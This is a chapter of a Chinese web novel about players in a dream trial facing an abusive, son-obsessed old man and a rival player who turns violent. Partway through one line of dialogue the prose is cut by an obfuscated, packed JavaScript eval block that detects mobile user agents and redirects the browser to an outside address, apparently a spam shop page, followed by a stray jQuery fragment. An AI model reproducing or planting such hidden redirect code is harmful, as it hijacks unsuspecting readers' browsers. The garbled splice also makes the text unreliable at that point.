“你个败家玩意儿,果然是吃干饭的!让你洗碗不洗,洗了还把碗洗破,要不是念在你生了个女儿的份上,我早就让我的乖儿把你赶出去!”老叟背着手破口大骂。
被骂的胡喻一脸茫然地用空气洗着沾满黑黄色粘腻物的碗,碗边还崩了一角。
身后是柴胡等人,虚坐在木条板凳上,望着老叟边徘徊胡喻周遭,边辱骂着他。
老叟似乎意犹未尽,眼睛一转,继续口喷腥臭的液体:“也不对,你就只给我生了个女儿,女儿有什么用。我乖儿多孝顺,肯定是你在背后教唆,他才不肯给我生个乖孙子。”
“儿子好啊,又孝顺又能延续香火。”
胡喻苦着脸,实在没招了,才弱弱开口:“这个碗得洗到什么时候?”
这破屋乌漆麻黑的,借着外头的光亮隐约见到屋里头布满白白的蜘蛛丝,一进屋是清晰可见飘舞的灰尘,完全不像有人居住。
就连胡喻刚进门,就被老头吩咐去洗碗,准备碗筷吃饭。他将小小的屋子都摸了一遍,也没找到水源洗碗,最后出了馊主意——假洗。
横竖他们都不会在梦里头进食,碗干不干净也无所谓。
谁知他越洗,那老头就骂得越过分。胡喻找不到突破口,唯有沉默僵硬着双手,重复假洗动作。
老叟眼皮一掀,看了一眼,十分不满:“洗完了就放到饭桌上。”
“叫你洗个碗还老大不乐意,我还不能使唤你了?”老叟嘀咕着,步履蹒跚朝屋内更深的地方走去。
胡喻捧着脏碗,在老叟背后打了一套空气拳法,虎虎生风,半点挨不着老叟的边。
仇不眠往胡喻肩膀搭了一只手,半天蹦出两个字:“忍忍。”
柴胡也走过来,怜惜地看了他一下,却没多说什么,跟随老叟脚步到了饭桌边。
饭桌上点了一根燃烧到一半的白蜡,微弱的火苗光晕笼罩在看不清原貌的饭菜上。老叟坐在上位,静静等着她们入座。
胡喻把碗刚放下,正准备要坐。老叟突然伸手扇了他一巴掌,火辣的疼痛感遮盖住胡喻其它感官,使他无法第一时间发现自己面上的皮被撕了一小块下来,渗出丝丝血液。
老叟阴鸷的双眼凝视着胡喻,“女人不得上桌。”
柴胡与裴慕栀对望了一眼,担惊受怕地挨到饭桌坐下,而老叟竟对柴胡毫无反应,只是把他手心攥着的皮嚼进嘴里。
老叟牙口不好,嚼了许久。越嚼,柴胡几人越是头皮发麻。
“坐啊,我的乖儿们。赶紧吃饭,不然该凉了。”
裴慕栀沉默了一会,挨着柴胡坐下,仇不眠亦同。胡喻捂着脸颊站在边上,哀怨地看着他们。
老叟哪管他们暗潮涌动,扒拉起饭菜暴风吸入,没半分为人的吃相。本来毫无食欲的饭菜经过摧残,更是难以入眼,如同潲水。
柴胡是不敢动了,忍着想吐的念头,强打起精神。在老叟吃饱喝足后,询问道:“你有没有什么想要我们做的?”
绿衣少女不明不白的任务,叫人无法行动。虽然对柴胡来说没什么分别,可突如其来的变故仍叫她不得不提防。
老叟翘着二郎腿,脸上满足的神色在听到柴胡的问题时消失了一大半,“哼,我想要?”
“我当然想要个乖孙子,我的乖儿生个儿子,我就高兴了。这才是我的好乖儿!”
等老叟回屋休憩,胡喻才期期艾艾凑过来,他面上流的血已经止住了。
“为什么你坐饭桌,那死老头没对你动手?”胡喻百思不得其解,怎么就他遭了毒手,柴胡却毫发无伤。
“我还想说难道梦里的男女性别颠倒?可仇大哥跟裴慕栀也没事。”
裴慕栀垂眸一想,说道:“是方才我们胡闹间的设定。”
“我与仇不眠是老人的儿子,你是我妻,而柴姑娘……是我们的女儿。”
有那么一瞬间,裴慕栀的神情变得难以言表。
胡喻狐疑地看向发愣的柴胡,“死老头不是说女人不得上桌?”
柴胡被拉回注意,淡然道:“我是小孩,不是女人。”
刚刚她就说了她是上小孩那桌的。
胡喻琢磨了一下,双掌一拍,“合着只有我这个‘女人’不得上桌,连小孩的身份都比我高?”
“接下来打算怎么办?”仇不眠看向裴慕栀,神情冷淡。
“任务要求不明确,要想突破关卡,难道真的给他生个儿子出来?”
胡喻下意识地看了看裴慕栀那张脸,犹豫道:“能跟大名鼎鼎的丞相大人……也不是不可以。”
“我不行。”裴慕栀毫不犹豫。
接着他戳了戳柴胡,“女儿,你说句话啊。”
柴胡:“……是时候展现真正的技术了。”
裴慕栀没懂,可见到柴胡下一刻那令他熟悉的动作,他就懂了。
柴胡掏药包掏到一半,停顿了一下,随后又塞了回去,扭头向裴慕栀说:“你的拿出来展示展示。”
“为什么要我的?”
柴胡觉得他是十足的冤大头,眼神复杂:“你跟别人交易之后,都不会想到要亲身试试效果吗?”
明明是他自己说要试的,结果自己倒忘了。
裴慕栀仿佛回忆起这件事,“可这屋内似乎并无水源,得去外头找找。”
柴胡挠挠脸,“实在不行,也有别的法子。”
“愿闻其详。”
柴胡指指一头雾水,听不懂对话的胡喻,“让他含着,在他嘴里泡一下。只是这方法有点恶心,正常来说我自己是不会用的。”
“所以你让别人用了。”裴慕栀那么一刻,与柴胡那颗神奇大脑共享了。
“你就说用不用吧。”柴胡索性摆烂,方法她已经说了,执不执行就看裴慕栀自己。
不等裴慕栀发话,仇不眠率先走出屋子。片刻后,他拎着一碗混浊的水和一名陌生有些瘦弱的男子重新进屋。
“他是谁?”胡喻问道。
仇不眠把水递给裴慕栀,解释道:“在外头碰到了,是他带我找到水源的。他说他有方法通关关卡,特意来施舍我们人情的。”
男子释放善意的笑容不禁抽了抽,“在下方明,方才在路上遇到这位仁兄似乎非常苦恼的模样,秉承着大家都是闯关者,理应团结一致,所以我才来帮助你们的。绝对不是什么施舍人情。”
最后一句话,被方明说得很重,感觉是在咬牙切齿。
柴胡从上到下打量他几分,之后默默移开视线,看着裴慕栀冲泡颗粒,他不会撕开包装袋,还是柴胡帮他撕的。
胡喻是接过了方明的话头,“所以你有什么了不得的方法?”
方明的视线扫视了一圈,柴胡余光发觉到他在认真严谨搅拌着液体的裴慕栀身上停留了一下,随后装作若无其事状,耐心向胡喻讲解。
“我在其他闯关者那里看过,发现他们都是遇到同一个问题。”方明故作悬念的停顿了。
“那就是他们都遇到一位老人,要求他们回家并且要孝顺他。其他人有些是按照老人的要求去做了,可是看不见成效。而没有按照的……”
“如何?”胡喻赏脸地捧哏。
“我不知道。”方明浅笑着回答。
胡喻瞬间脸垮了,“你耍我们?”
方明直呼冤枉,“我是真的不知,据别人所说,他们拒绝完成任务,离开去寻找别的方法通关,接着就再也不见踪影了。”
“明明这个村落不大,几乎一眼到头,可他们就是找不到那些四散的伙伴。可能被白雾吞了吧,我们是这样猜测的。”方明耸耸肩。
胡喻抹了一把脸,“讲了半天,你都是在交代背景,没有讲方法。”
仇不眠的杀意开始尽显。
方明露出谄媚的笑容,“我的方法很简单,就是顺着老
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103177|195766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人家的意思,他叫东绝不往西,这才是孝顺的本意。”
这时柴胡抬头,侧眸看方明,“我跟你说个秘密。”
“啊?”
柴胡认真地说:“其实我是女的。”
方明顿时一愣,看柴胡半晌,犹犹豫豫说:“你看着也不像男的啊。”
柴胡点点头,“所以我在说废话,只不过是回报你的废话大全而已。”潜台词是你个傻缺浪费我时间。
方明纵然不懂柴胡的想法,可听得出她在暗讽,脸色越发难看,“我好心好意奉劝你们,你们不领情也就算了,还恶言恶语。怪不得你们几个人凑在一起玩家家酒,也闯不过这关。”
“你不是也还在吗?”五十步笑百步。
恼羞成怒的方明并不会给四人带来影响,柴胡只是轻飘飘一句,就让方明破大防。
“你!你有什么了不起的!有种你现在就闯关来看看!”
柴胡已经拿起裴慕栀搅拌好的药水,这话一出,裴慕栀反倒压住了柴胡的手腕,终于正眼看方明。
“不知方公子有何良策?”
方明一听,宛如斗赢的雄鸡,气昂昂炫耀般:“没成想丞相大人也会有向他人求助的一天。”
柴胡恍然大悟,问裴慕栀:“你政敌?”
裴慕栀微笑道:“相识大人家的小辈。”
不知哪个词又深深刺痛了方明,惹得他双眼通红,异常愤怒,接着猝不及防开始摔桌,打破原本就破破烂烂的碗碟。
柴胡眼疾手快,把药水救下了。一抬头,就看到裴慕栀挡在她面前,露出不宽也不薄的后背。
仇不眠是闪身将胡喻护在身后,冷眼旁观方明打砸着所剩无几的桌椅板凳,他嘴里还喃喃自语。
“该死的小辈,什么小辈,明明我们年纪一样,凭什么你是高高在上的丞相,我只是不入流的小辈。去死去死去死,裴慕栀给我去死!!!”方明狠狠地把板凳踩断,碾压着断裂的木条直至粉碎。
等拆的差不多,他的双眼终于注意到防备他的四人。
“你们看什么?敢用这种眼神看我?!你们是想死吗?!”
“为什么不回答我,胆敢无视我?!我要你们尝尝我的厉害!”
胡喻瞠目结舌,“他有病吧,一个人在那里演独角戏也就算了,态度转变怎么那么奇怪。”
“说谁有病?!”方明触及到这个词,浑身颤抖,下一刻朝胡喻扑来。
仇不眠抬脚直接将人踹了出去,刚好把人从窗口踹出去了,留下一大个破洞。
胡喻悄悄地凑过去,探头一看。
方明被踹到外头的小沟里,头颅砸到石头,昏迷不醒。
胡喻刚松一口气,吱呀一声,竟是老叟从屋里出来。
他看到地上的一片狼藉,以及漏风的大窗,脸色铁青,下一刻指着胡喻大骂。
“你个丧门玩意儿,我就知道你晦气,只会生女儿,做事还做不好,骂你几句你就伺机报复,毁了我家!不止带坏我的乖儿,让他不孝顺,如今还把衰气带来,是不是想害死我?”
“像你这种女人,你就不该活着!赶紧去死,好叫我儿娶个好媳妇,给我生个乖孙子!”
“你个死老头,我忍你很久了!!!”
打断老叟骂人的不是受害者胡喻,而是高举着药水的柴胡。
只见柴胡往前奔跑,手里紧扣的碗快狠准地砸向老叟,药水顺着轨迹泼在老叟的全身。
老叟不由发出哎哟一声,捂住双眼。
可柴胡等了许久,都没有出现往常妖怪化为脓水的场景出现。
当老叟的手彻底挪开时,代替眼白部分的则是混黑的雾气。
老叟枯瘦的指尖颤抖指向柴胡,沙哑狂怒的声音响彻幽黑的房屋,仅剩的烛火随之熄灭。
耳畔边只有那一句话。
“你们,不孝顺!不孝顺的孩子,该死!”